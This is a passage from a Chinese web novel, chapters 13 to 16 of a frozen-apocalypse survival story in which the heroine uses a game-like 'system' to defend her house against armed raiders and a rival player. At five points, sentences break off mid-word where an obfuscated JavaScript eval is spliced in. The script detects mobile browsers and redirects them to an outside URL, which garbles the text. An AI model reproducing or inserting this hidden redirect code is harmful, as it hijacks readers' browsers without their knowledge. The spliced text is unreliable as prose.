但其他楼可就惨了,食物告急,人们把主意打到了同一楼的邻居身上。那天晚上受伤的李铭瑟瑟发抖地躲在卧室里,听着隔壁楼传来的打砸声。第二天醒来,还和挂在阳台上的几具尸体问了个早上好。 那些人已经彻底疯了,他们已经不满足于抢夺杀人,甚至同类也被他们做成了储备粮。 人,吃人啊! 看到别的楼的情况,李铭心中浮动的那点小心思顿时烟消云散,饿就饿点吧,起码命还在不是。 之后没几天,市区里出现了带着大喇叭到处吆喝的地形车,但李铭所在这栋楼早就被训出了令行禁止的好习惯,所以当其他楼已经统计好人数打包行李时,他们这边还在默契地装死。 一天后,管事的人拿出了主意。想去生存基地的他们不阻拦,但绝对不能透露这栋楼其他幸存者的信息。 等的就是这句话。 李铭不明白这些人在瞻前顾后犹豫些什么,政府组织的生存基地都不去,真以为他们单打独斗能在这末世里讨到什么好果子吃? 他得意洋洋地上了卡车,然后就被堵在了生存基地外。 S市是个大型城市,人口过千万,就算经历了前面的两场风波,幸存人口也不少,这显然已经超出了基地的接待能力,接送人的卡车堵在门口,登记的工作人员更是忙不过来。 他们被留在四面透风的卡车上,从黑夜等到了天明。 薄薄的铁皮阻挡不了任何寒意,李铭躲在车厢里接连打了三个喷嚏。不知哪儿来的错觉,他觉得自己像是即将送进屠宰场的猪。 假的吧,他探出头使劲看了看慢慢挪动的车队,心中又燃起一股希望。 简单地报上姓名拍照登记后,和他同一卡车的人在进入基地后按照性别和年龄被分成了好几组。 李铭使劲抓住儿子的胳膊,一点也不想分开。可不是他幡然悔悟父爱泛滥,而是王清那一刀捅进去,虽然没要了他的命,但却比死好不了多少。 没有药,胳膊上的伤口迟迟愈合不了,也多亏了温度低,要不然伤口化脓发炎,他现在怕已经是具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281868|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸体了。 因为受伤,李铭的家庭地位一下子变成了最低,处处要看别人脸色行事。 李小伟早就烦了他这个拖油瓶,眼看着有机会,立刻抢走了一半的行李,第一个站好了队伍。 但更多家庭却是接受不了这样的结果: “为什么要把我们分开?你们要把我们带去哪儿?” 有人害怕的问出问题,可曾经对他们态度友好的工作人员,一下子像是换了个人格,只是沉默地掏出枪,黑咚咚的枪口对准他们。 人群中传来尖叫,却在枪响时戛然而止。 从基地里出来了更多的士兵,用枪威胁把他们的所有物资全部收缴,只留下身上一件薄薄的长袖。 幸存者们恍然,他们好像来到了个不得了的地方。 —— 祁安安从火种基地回来,心里就一直不安宁。 她挨家挨户联系了还留守在村里的人们,也是现在,那些老人们才看到了救命恩人的真面目。 一个又老又年轻的女孩,说老是因为,曾经的祁安安在多年的折磨下,年纪轻轻就有了苦相和老相。说年轻是因为,那双黑黝黝的瞳孔里,是朝气和希望。 祁安安把看到的基地和心里的疑惑都说了出来,并且叮嘱他们,如果要藏,一定要在地下室里藏好。 她有预感,如果基地要出手,绝对比普通的歹徒们更难对付。 —— 火种基地只是出现的第一个,在末世中更多人类期盼着守望相助,逐渐也出现了大大小小不少新基地。 温度没有再降,人类团结起来,好像一切都在慢慢变好,甚至有时候的夜晚,祁安安还能听到远处隐约传来的喧嚣声。 一天天数着日子过对心理是一种痛苦,如果不是每天都撕走一页日历,祁安安可能就要对时间完全失去了概念。 存活倒计时第十天,祁安安照常在夜晚守在窗边,远处开来一辆外形极为眼熟的卡车,目标明确地直冲她的小屋而来。 祁安安意识到不妙,连忙蹲下身小心地把自己隐藏起来。 心中越害怕什么,偏偏就越要来什么。卡车正正好好地停在了窗下,从上面下来两个完全的生面孔。 是两个满脸横肉的大胖子。他们本来身材就魁梧,穿得衣服也厚,看着像个大猩猩。 祁安安百分之百肯定从未见过他们,更不知道为什么被他们给盯上。 难道是房子太打眼了? 她悄悄躲在窗户后往下看,那两人在车里摸索一阵,随后手里多了个相机似的东西,转着角度看来看去。 她听到下面的声音: “大哥说的果然没错,望海村真是个好地方,村子里还有这么多幸存者唉!” “一个两个三个,窗户边还有个笨蛋在偷看呢。” 他放下热成像仪直勾勾的看过去,脸上恶意满满的笑容犹如罗刹。 他说:“我发现你了哦!” 13. 第 13 章 WC,祁安安心里一阵脏话闪过,说好大家都是普通人,怎么你们装备这么逆天。 祁安安看着自己空荡荡的系统背包,欲哭无泪。 “大哥,”矮个子摸着下巴琢磨,“大门被雪堵住了咱们只能从窗户进,就是这玻璃好像不简单啊。” 他们的卡车是军用防弹级别的,瞅着头顶上那块玻璃,好像要比他们的再厚实上不少。 “怕什么。”高个子浑然不在意,一边脱掉沉重的棉袄一边说:“里面就一个人,咱们手里有枪,瓮中捉鳖那不是轻轻松松。这么简单的任务要是完不成,以后在林哥面前怎么混?” 说起林哥,矮个子犹豫的神色慢慢褪去,在乱世里能跟着个靠谱厚道的老大不容易,他们想混成老大的心腹,一定要把这份投名状做好了。 由于积雪,二楼的窗户离地面其实不高,大概也就三米的高度。高个矮个搭起人梯,很轻松就摸到了玻璃边缘。 就在这时,厚实的防弹玻璃“唰”一下被拉开,一大桶水自上而下将他们浇了个彻底。 这可是祁安安刚才去地下室转移过来的雪水,本来是从外面铲回来提前储存的生活用水,现在倒是便宜这两个烂人了。 趁他们没反应过来,祁安安又从小屋里取出第二桶水,再次浇下。 两个人在楼下吱哇乱叫,祁安安一桶接着一桶,连续泼了四桶,确保每个人都被浇了个透彻才停。 天气这么冷,她运上来的雪水就算是放在地下室,也没有完全化开。这种一半冰碴子一半水是最酸爽的温度,浇下去直接让他们透心凉心飞扬。 那两人一边骂骂咧咧,一边扑腾着往车里跑,祁安安不敢托大,从小屋里拿出不少重物一件件丢下去。可惜距离过近效果并不怎么好,让他们躲开许多,这时候就格外怀念百发百中的豌豆射手了。 这两人手上有热成像仪,祁安安不打算放过他们,她站在窗台边打算跳下去斩草除根。 “嘭嘭嘭”今晚注定不会是个平安夜,远处传来声音,似乎是枪声,而来源好像是——生存基地? 出什么事了? 一辆越野车风驰电掣地驶来,同样目标明确地停在了她的小屋前。 祁安安在心里已经把脏话骂了一万遍。她就想老老实实苟到最后,怎么一个又一个都盯上了她。 活着要不要这么难啊。 越野车上又下来三个男人,和卡车上的两人是一个团伙。他们先把快被冻僵的同伴们扶上了车,然后中间的眼镜男和身旁人交谈两句,接下来他缓缓抬手。 他的手中凭空出现了一把银色手枪,下一秒—— “砰”的一声,祁安安眼睁睁看着面前这块据说连加特林都能抗住的防弹玻璃,就这么轻而易举的……,被穿透了一个大洞了! 不是,你……这? 这种威力的武器,要是打在人体上,那不得东一块儿西一块。 眼镜男又是一枪,这次防弹玻璃彻底碎成了粉末。 我滴个乖乖,槽点太多,一时不知道先骂谁。 凭空取物的手段,祁安安百分百确定不是这个世界的科技所能办到的,那答案只剩下一个,眼镜男和他一样也是个任务者。 说好的新手世界,对面怎么冒出来个战斗系大佬,这合理吗? “系统,系统!!!!” 千呼万唤,好在这一次系统没有装死,非常及时地出现。 【检测到新手世界出现未知异常,特为宿主申请补贴,已发放至背包,请查收。】 祁安安飞速点开,她的系统背包中多出了一样新道具。 【守屋人戴夫体验卡x1。】 【作为守屋人,你的职责是保护好房子,同时房屋里的一切都将听从号令。】 【负面效果1:作为守屋人,玩家需要时刻保持威严。】 【负面效果2:获得体验卡的你是窃取力量的小偷,是流浪的可怜虫。卡片使用时间越久,房屋与你的亲近值越低。】 【负面效果3:使用卡片力量会减少玩家体力值。】 一连三条负面属性呈现在“守屋人戴夫体验卡”物品介绍中。 这三条物品负面属性说明,足够正常的玩家在看完之后,立马把“守屋人戴夫体验卡”丢到背包角落吃灰。而祁安安作为新人,更是第一次看到这种物品正负面效果完成不成比的道具。 要使用吗? 可是面对强大的敌人,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317966|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活命,她根本没得选。 “确认使用守屋人戴夫体验卡。” 【滴!体验卡已使用!】 【恭喜玩家“祁安安”获得临时身份卡——】 【“守屋人祁安安”!】 系统提示音响起的下一秒,祁安安感觉到了身体细微的变化。 她似乎感受到了房子的呼吸声。 不止如此,屋子里的各种物件,仿佛也成了她身体的一部分,只要心念一动,就可以随意取用。 不用小心翼翼地探出脑袋,屋外的场景全部收入眼中。眼镜男打穿防弹玻璃后,自以为掌控全局,挥挥手让身后的小弟陆续进屋。 打头的还是最先到的高个矮个,这两人雄赳赳气昂昂的冲在最前,还没靠近,就被窗户里飞出来的两个木板凳直击。 “嗷!什么东西!” 原房主留下来的木凳可不是普通的凳子,老物件用料都扎实,结结实实的木材很有分量,再加上凳子腿粗糙的木刺,和修修补补留下来的生锈铁钉。 一高一矮俩人被砸得头破血流,脸上还被铁钉划出一道深深的口子。 破伤风之刃的威力绝对不是开玩笑的,尤其是在药品稀缺的末世里。 两辆车子的大灯把窗户前的一小块空地照得亮如白昼,刚刚两个板凳是怎么飞出来的,所有人都看得一清二楚—— 根本没有出现人影,好像是板凳有了意识自己飞出来的。 “鬼啊!”高个捂着脑袋,一下子窜进车里,死活不肯再出来了。 剩下两个炮灰,也被祁安安用差不多的手段解决掉了。 扔出四个小东西,面板上的体力值下降了4,亲近值下降了5。 祁安安心中大致有了计较,亲近值是按照时间推算,每两分钟下降1点。 她细细感应了一下,目前自己和小屋都没有出现异常,不知道这两项的临界值是多少,还是要速战速决。 —— 四个小喽啰都只是开胃小菜,真正的boss眼镜男还迟迟未动。眼镜男,名字叫林锐,之所以没动,是因为他的耳边正在疯狂响起系统音。 【滴,检测到未知玩家。】 【……#&&% 14. 第 14 章 不仅仅是密室,散落在地上的所有杂物全都凭空浮起,用最有攻击性的姿态对准了他,然后无数道破空声响起。 原本应该被扎成筛子的男人握着枪对着虚空笑了笑。 “虽然你有点古怪,但也到此为止了。” 祁安安这才发现,在他那把枪上萦绕出一层淡淡的光圈,以枪身为圆点将它和主人牢牢包裹起来,毫发无损。 “这可是我100积分换来的武器,现在轮到你了——” 林锐轻描淡写地瞄准墙壁,但其实,他远没有表现得自如。 原本总防御值100点,还剩余80点防御值的武器,如今只剩下了5点防御值,离报废就差一次重击。 也就是说刚刚那几秒的时间里,对方相当于对他发动了四次必杀进攻。 不就是一些破铜烂铁,能有这么大的威力? 林锐想破脑袋也想不明白。 如果刚刚有光,他可能会发现,朝他袭来的不仅仅是家具,更多的是密密麻麻的尖针和锥子,这些东西个头小,但各个直击命门,反而是降低防御值的大功臣。 虽然对方只不自然了一瞬,但祁安安却立刻捕捉到了那瞬间对方情绪的几次变化。 似乎……她的攻击对他来说也并非完全没有影响。 有影响就好! “嘭”毫不犹豫地一枪射出,要是寻常的墙壁,怕是会被轻易炸个稀巴烂。但眼前的墙壁只出现一个碗口大的弹坑,弹坑后还是厚实的墙壁,固若金汤丝毫不见崩溃的迹象。 【作为守屋人,你的职责是保护好房子,同时房屋的一切都将听从号令。】 看到这条描述,祁安安第一反应就是把房子打造成一座机关重重的堡垒,扔点家具不过是让眼镜男放松警惕的开胃小菜,现在才是重头戏的开始。 而林锐手下的四个小弟,更是早就看呆了, 在他们眼里,眼前这栋诡异的房屋居然在动。 没错,一个钢铁水泥铸成的死物,正在有意识地运动! 墙壁砖块速度极快地重新排列组合,最终形成了一个上小下大上重下轻的结构。 上面的水泥堡垒就是困住林锐的密室。 林锐站在原地,心中天人交战,眼前的厚墙对他来说不算难题,用子弹开路就好,但还没见到对手,自己底牌就用得七七八八,合适吗? 他有点肉疼。 在椅子上坐军姿的祁安安可不会善良的给他纠结的时间,现在她脑子里的坏水正在一咕噜一咕噜往外冒。 房屋的一切都听从号令,那么,气体算吗? 命令输入,紧接着祁安安就感觉身体一瞬间被掏空,她艰难地调出面板,自己的体力值居然只剩下了4点。 体力值跌到谷底是什么感受,不仅仅是身体的虚弱,连呼吸都轻到消失,祁安安连思考的欲望都提不起来,只想闭上眼一直睡到地老天荒。 密室里,林锐还没作出抉择,很快就感受到了不对劲。 呼吸之间,周身的空气变得越来越稀薄,他痛苦地捂住胸口,使劲张大嘴巴获取更多氧气。 这又是什么手段? 他控制不住在脑中想象这个未知的对手,隔空操控,物体重构,控制气体…… 随便哪一个都是积分榜上大佬才能掌握的顶级天赋,怪不得系统抛出一千积分的重赏,真要让她成长起来,那还得了! 林锐的眼睛里除了骇然,还有兴奋和贪婪。 击杀她,说不定,自己也能拥有这样的能力! 林锐艰难地抬起手臂,又是两发子弹射出,厚度达到6米的墙,终于被他硬生生轰开了一个洞。新鲜的空气涌入,林锐如饥似渴地大口呼吸着。 系统给出的90%成功率摆在那里,那就意味着神秘对手比他的实力还要再差些,刚刚那样的招数,他不可能再使出第二遍。 林锐猜的没错,从密室出来,他小心翼翼地顺着楼梯一路来到一楼,没有任何阻碍,顺畅的不可思议。 楼梯下到尽头,他也终于看到了那位对手。 没有他想象的三头六臂,女人静静的躺在满是杂物的地板上,脸色煞白,神态安详,如果不是胸口还有那么一点微弱的起伏,怕是他会直接认为这是一具尸体。 “HI。”祁安安艰难地抬起眼皮,冲着楼梯上的人打了个招呼,声音轻到被外面的风声吹散。 病弱女人和成年男人,这场最终的生死决战,好像结果已经显而易见。 林锐抬起胳膊,枪口对准女人的心脏:“你的名字是什么,作为死在我手下的第一个强者,我会记住你的。” 对方没有回答,林锐也并不指望能得到答案,他的食指搭上扳机,千钧一发之际,只听见细微的破空声从一旁传来。 人最得意的时候,恰恰也是最无防备的时候,祁安安看准时机消耗了最后一点体力值。 “滋啦”一声,电击棒的功率开到最大,狠狠砸在了林锐的脑门上。 眼镜男的身体僵了一瞬,接着朝后倒地,银色的手枪受到最后一下重击褪去颜色,彻底变成了一把废铜烂铁。 作为守屋人,祁安安可以洞察发生在屋子里的一切,只见眼镜男浑身焦黑不断抽搐着,右侧脑袋被砸得头破血流,他睁着眼睛躺在那里,还没有断绝呼吸。 居然还活着? 祁安安从小屋里拿出牛肉干和巧克力,一边防止林锐诈尸,一边快速补充体力。 接下来,祁安安就看到了更为离奇的一幕。 林锐身上的伤口在以一个极慢的速度缓慢愈合,她随手抄起一块板砖扔过去,眼镜男呕出一大口鲜血,再次到了濒死之际。 祁安安就这么在尸体旁守了整整一夜,又补了三次刀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336482|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林锐才终于一脸怨毒的闭上了眼。 这是天赋还是道具?是不死还是再生? 祁安安脑中闪过许多猜测,林锐死后,他的尸体消失,地上爆.出了一地的东西,有卡片,武.器……甚至食水。 居然还有装备捡! 祁安安从小屋里找了根拐杖,踉踉跄跄地走向那堆物品。 连续两次被地面障碍物绊倒,和掉落的砖头擦肩而过,排除自己老眼昏花头重脚轻等一系列个人原因,祁安安不得不确认一个事实,自己辛辛苦苦打造的安全屋,居然在针对自己! 她调出面板,“守屋人戴夫体验卡”她早早就结束了使用,这段时间她的体力值缓慢恢复了10点,但亲近值却是一直维持在32点,没有一点要回升的迹象。 不会是因为这个要针对她的吧? 祁安安欲哭无泪。 但是……,看了看一晚上极速瘦身的小屋,祁安安突然觉得,如果屋子有意识的话,自己好像也确实没脸要人家原谅自己蛤。 好吧,有点小脾气可以理解。 祁安安忍了! 她虚弱地往地上一倒,然后从小屋里拿出一双厚实的手套,再戴上一个嘎嘎结实的摩托头盔,开爬! 她就不信了,自己花钱建的屋子,还能想办法把主人给埋了! 祁安安气鼓鼓的爬到了装备旁,她伸手试了试,这些物品她可以碰,也可以拿取。 所以灭.杀任务者之后,会爆.出物品,但物品爆.出后,是所有人都可以拾取,还是只有击杀者可以? 祁安安在心里留了个疑惑,决定以后找机会慢慢观察。 眼镜男留下的资产,大部分是食物,还有两根棒球棍,最值钱的应该是一堆闪着微光的红色药水,足有十瓶。 “补血剂。” 祁安安喃喃念出名字,每瓶可补充400点生命值,相当于让她多了五条命。 捡到宝了! 祁安安心情不错,系统突然蹦出来泼冷水。 【他的技能是治愈类(咔嘣),击杀后有概率爆出卡片,但你……(咔蹦咔蹦)】 一切尽在不言中,这是对非酋的嘲笑! “你……” 好气哟,可是根本无法反击! 不对,她突然问道:“你在吃什么?” 天杀的这玩意儿不会是把林锐的尸体嚼了吧。 【……】 祁安安明显感受到脑子中的咀嚼声停止了一瞬。 【烧烤味的,你来一口吗?】 祁安安:啊啊啊啊啊!!!!妈妈,我不会被人当成储备粮养了吧? 【…………………………】 系统的沉默震耳欲聋,过了半天,祁安安才听到他憋出一句:【放心吧,我对有机物没兴趣。】 居然还有点气急败坏的意思。 15. 第 15 章 收完战利品,祁安安原地按表转了一百八十度,给自己调整了个方向。 天快亮了,她得赶紧回到地下室去。 “呜呜呜呜——” 身处极寒末世的人对这个声音绝对不会陌生,这是暴风雪的前奏,更是绝望世界发出的怒吼。 祁安安战战巍巍地继续往前爬。 被破坏了好几处的房屋,保温效果大打折扣。一阵阵寒气袭来,祁安安只是微微张了张嘴,牙齿就忍不住打颤,更是差点感受不到舌头的存在。 她整个人冻得紧绷起来,连忙往关键部位塞了几个暖宝宝。 又往前爬了几步,一阵猛烈的寒风卷着冰雹和玻璃碎渣直直扑过来,劈头盖脸地砸在了她的脸上身上。 还好祁安安提前在头上套了个摩托头盔,但其他没被防护住的部位就惨了,拳头大的冰雹砸上去,那种酸爽感,好像被人从头到尾打了一顿。 没事不痛的,机关就在前面,进了地下室就好了。 祁安安在心里给自己打气,咬紧牙关继续往前爬。 她半直起身子按下机关,通往地下室的门在脚下露出,她的脚腕忽然被什么东西给攥住了。 一股阴寒感爬遍全身,祁安安嘶哑着嗓子大叫了出来,一边使劲踢打挣扎着,一边往后看去。 是眼镜男带来的一个小弟,不知道为什么没有离开,此刻正狠狠的瞪着眼,匍匐在地上双手死死抓住她的脚腕。 那张脸不久前才被她用木板凳砸得头破血流,额头上的伤口因为低温被冻住,血迹成了冰渣跟皮肉冻在一起,恐怖的模样宛如从地狱爬出的恶鬼。 他声音嘶哑得厉害,又是威胁又是祈求:“这里有地下室对不对,带我……带我进去!” “不然就和我一起死在这里!” 男人是主动留下来接应林锐的,他自诩和老大感情深,自然要在关键时刻表一表忠心。而其他几个贪生怕死的家伙,早就一溜烟开着车跑了。 他从天黑等到天亮,没等到老大,反而是等来了暴风雪。 远处无边无际的白色,一下子唤醒了他末日初期那段最糟糕的回忆。男人一下慌了神,毫不犹豫地跑进了眼前的破房子里。 地下室入口就在眼前,只要解决掉这个女人,他就能活! 祁安安使劲踢打着,但男人仿佛抓住了浮木的溺水者,这种你死我活的紧要关头,他又怎么可能放过眼前的希望。 体力值还没恢复,祁安安被拖拽着,膝盖重重摔在地上,痛的她倒吸一口凉气。 男人趔趄着趁机爬起来奋力往里面冲。 还好,他再怎么人高马大,额头上的伤口也是影响不小,战斗力大打折扣。 祁安安毫不犹豫的从小屋里再拿出一根电击棒,直接挥了过去。这一记背后偷袭的力道不重,但附带的电流弥补了这个不足。 男人倒在地上不停抽搐,趁他没缓过来,祁安安哆哆嗦嗦的又拿出一把水果刀,狠狠刺了进去。 做完这一切,她连忙爬起身往地下室里跑。男人捂着受伤的胸口在身后紧追不舍,祁安安慌忙开门进去,她哆哆嗦嗦的拉过门板,想从里面锁住。 无奈温度太低,她的手早就没了知觉,僵硬的不听使唤。 男人强行把手臂伸过门缝,狠狠一挡,还趁机从手中夺过电击棒,朝她腰部打去。 祁安安咬紧牙关,用尽全身的最后力气用力往前一挤,“咔嚓”一声,门外响起了痛苦又凄厉的嚎叫,地下室的门被重新锁上,而男人的小臂也永远留在了这里。 祁安安一脚把碍事的东西踢开,紧接着锁上了第二道门。 至于男人的死活?关她屁事。 就差一点被关在外面的就要是自己了,祁安安倒也没有圣母心大到做东郭先生。 —— 冷实在是太冷了,祁安安踉跄着回到了地下室,她升起火盆,久违的火光带着升腾的暖意,让劫后余生的她差点飙出眼泪。 屋里有了火源后,祁安安连忙给自己换上了一身干净保暖的衣物,然后跳上床把自己埋进塞了一堆暖宝宝的羽绒被里。 这一觉她从天亮睡到了黑夜。 眼前一片漆黑时,祁安安从被子里探出头,很快就被冻得又缩了回去。 不对劲,天气有一丝反常,晚上的温度居然没有升高? 祁安安在被子里重新穿好衣服,又往里套了两层羽绒内胆,直到把自己裹成一头行动不便的大熊,这才试探着掀开被子。 终于算是暖和了些。 按照她的估计,地下室的温度可能已经达到了零下40度,而外面只会更冷。 刚一起床,祁安安的肚子就不甘寂寞地咕噜了两声。 饿了。 天气太冷又行动不便,暖和又方便的食物,祁安安第一个想到了泡面。 说是简单吃点,但祁安安这里摸摸,那里瞅瞅,又陆陆续续拿出了一个新鲜的番茄,一份火锅丸子,还有半包金针菇,还有一包M9和牛。 反正委屈不了自己的肚子。 不需要复杂的操作,把番茄剥皮切成小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341229|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁在锅里炒成泥,然后再肉类、蔬菜和泡面依次煮下去,一锅简单又不简单的晚餐就做好了。 热腾腾的面香气扑鼻,祁安安第一口瞄准了牛肉,M9级的雪花牛肉品质极好,一大口送入嘴中,牛肉口感细嫩,还带着淡淡的奶香气。 祁安安一边吃着泡面,一边打开了收音机,停电之后,这就是她获取外界消息的主要来源。 收音机的电台大致分为两类,一种是国家电台,现在的作用只能充当时钟和天气预报,而且大部分时候还不怎么准确;另一个是私人电台,一些基地为了招揽生存者,会不定时通过无线电发送信息。 祁安安先听了听不太靠谱的天气预报,据说室外的气温已经达到了零下60度,风力10级。 然后是私人电台,之前这片区域里,除了天气预报最热闹的就数火种基地,然而今天她调好频道等了好半天,饭都吃下去一半了也没听到里面传出一句话。 不会是团灭了吧。 祁安安有点恶劣的猜测,她拿起收音机摆弄着,随手调动频率,当切到一个陌生的频道时,里面的内容突然引起了她的注意。 她听到了火种基地的名字。 这个频道只有一段文字来回循环播放,祁安安很快就得知了火种基地消失的原因。 原来这个基地的高层从一开始打的就不是好主意,他们抢劫警察局得到了不少装备,就做起了在乱世里称王称霸的美梦。 基地的人被分成三六九等,高层是统治者享受供养,投奔过去的幸存者们全被划为了奴隶,任人宰割。 把接受过教育的人类驯化成奴隶,这需要极高的手段和暴力。 显然火种基地的高层不明白这一点,于是迎来了死亡。 频道里一遍又一遍地重复,也是在给傻乎乎的幸存者们提个醒。 乱世之中,除了自己谁都不可信! 吃明白了瓜,祁安安面前的面也失了温度,她只能从小屋里又拿出一个酒精炉,小火加热咕嘟着继续吃。 距离任务结束还有九天,只能祈祷温度不要再降了,不然连吃饭都要成了难题。 可惜如果祈祷有用,末世就不会走到这一步。温度还在一天一天地降低,尤其是夜里,祁安安必须要浑身贴满暖宝宝,并且在床边摆满三个大大的火盆才能入睡。 什么一氧化碳中毒,她现在只渴望温暖,更多的温暖。 不大的地下室被几个炭盆熏得烟雾缭绕,摆在祁安安面前多了一个大问题—— 通风口好像被堵住了。 16. 第 16 章 第二天中午,祁安安全副武装,口罩,耳护,围巾,帽子一个不落,并且在后背、胸前、四肢都贴了暖宝宝。 就算是这样,一来到地面上,露出来的眼睛部分依然能够感觉到冷风的刺痛。 她没离开地下室的时候,感觉自己像个火炉般在发烫,然而在零下60度的温度里呆了没多久,现在不能说热,只能算是刚好合适。 正午的时候风小了些,祁安安扶着墙小心翼翼地查看。 不过一天时间,一楼已经厚厚地铺了一层雪,大概有20厘米的厚度,通风口就是被积雪堵住了。除此之外房子主体结构还算完好,唯一的破损只有那块被打碎彻底的窗户。 她也看到了昨天的男人,人已经死了变成一座冰雕。 奇怪的是他身上的棉袄不见了,就这么赤裸地躺在角落里。积雪和杂物覆盖住了男人大半的身体,更诡异的是,他的脸上居然带着一抹安宁惬意的笑。 反常脱衣现象。 祁安安想起曾经看过的科普,指的是在极寒状态下会产生热的幻觉,让人的死前神态变得柔和自然,甚至面带微笑。 她心有戚戚,手中动作果断,找了个小推车把尸体从窗户扔了出去。 此时一股又一股冷风,从大开的窗户里灌进来,带来久久的寒意和经久不化的积雪。 刚刚清理好的通风口转眼又覆上一层积雪, 祁安安皱着眉头思索着,要想个办法把窗户再次封起来。 难就难在,当时也没料到这个世界会有第二个任务者存在,祁安安对防弹玻璃太过自信,没准备替换的。 现在看着这个大窟窿,真是让人头疼。 几种材料在脑子里过了一遍,祁安安最终选择了木板,一来是结实,二来买煤炭时老板送的半车边角料还在地下室好好的堆着,正好能利用上。 说干就干,祁安安立刻回了地下室,出去不过几分钟,再次回来,手套已经冻得僵硬。扯下手套,指尖一阵刺痛。 “好冷,冻死我了!” 她用嘴哈了一下手指,使劲搓了搓让它快点回温。 挑挑拣拣,一大堆废料里还真让她找到了几块较为完整的。祁安安先把木板两块木板之间钉上小钉子,进行预处理变厚实后再拿到楼上使用。 再次来到地面上,祁安安这次做好了充足准备,全身都贴满了暖宝宝。 她扶着墙缓慢地来到了窗户边,连绵不断地大雪起起伏伏,千里冰封万里雪飘。远处的高楼似乎被雪埋了一截,树木被拦腰折断,电线杆歪斜坍塌,空中不仅仅是飞雪,而是夹杂着各种木头、衣服和建筑材料。即便看了无数次,还是会为这样的场景心惊。 她拿出一个个工具,开始修补窗户。狂风和大雪极大影响了修补速度,更重要的是,贴在里面的暖宝宝也仅仅坚持了半个小时。 超过三十分钟,暖宝宝的作用越来越小,现在几乎没有任何保暖效果。 祁安安不得不每工作半小时,就立刻回到地下室回回温。 这么一会工夫,祁安安的眼睫毛都挂着一层冰霜,她推开门进入地下室的瞬间,就好像屋内多了一个冰坨。 进屋的第一时刻,祁安安就拿出一瓶高度白酒,像喝白开水一般狠狠灌了好几口。酒下肚,内部体温开始上升,她开始脱身上的衣物。 最外面的一层衣物都被打湿,水在外面几秒钟就能够结成冰晶。这些冰晶不仅降低身体的温度,而且让祁安安的一举一动都变得僵硬。 还好准备的衣物够多,足够她来回替换的,反复折腾了几次,祁安安终于把窗户彻底封死。 —— 第二天起床的时候,祁安安已经有了前车之鉴,她警惕的拉着被子头往外面伸了伸,然后脑袋刚露出来一点,外面极冷的空气便又将人冻得缩回去。 不,准确地说只要轻轻动一下,四周的冷气就迫不及待地从被子的各个缝隙钻进来。 她不得不再次加厚了衣物,变成了北极熊(plus版)。 洗漱的时候,祁安安突然发现自己的双手有些奇怪,带有茧子的粗糙指节上出现了好几个又红又肿的大疙瘩,一直蔓延到手背。大疙瘩搞得关节僵僵的,碰到热水还格外的痒。 作为土生土长的南方孩子,祁安安第一时间怀疑自己是不是吃错了东西导致的过敏,她拆了盒过敏药简单涂了涂就没放在心上。 任务完成的倒计时越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388182|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来越近,气温也越来越低,祁安安从偶尔还能下床去活动,变成了一天24小时都恨不得黏在床上。 床边燃烧的两个炭盆被她换成了煤火炉,一刻不停地沸腾着热水保证屋里的温度。 过了两天,祁安安发现手上的“过敏”并没有好转,反而彻底烂开了。血液凝固在手指上,显得狰狞斑驳。 她一双手都长满了冻疮,接触到一点热源,手稍稍回温就是一股钻心的痒,但不管不顾就这么让它暴露在低温下,没过一会儿双手就冷得完全失去了知觉,像要变成一块死肉。 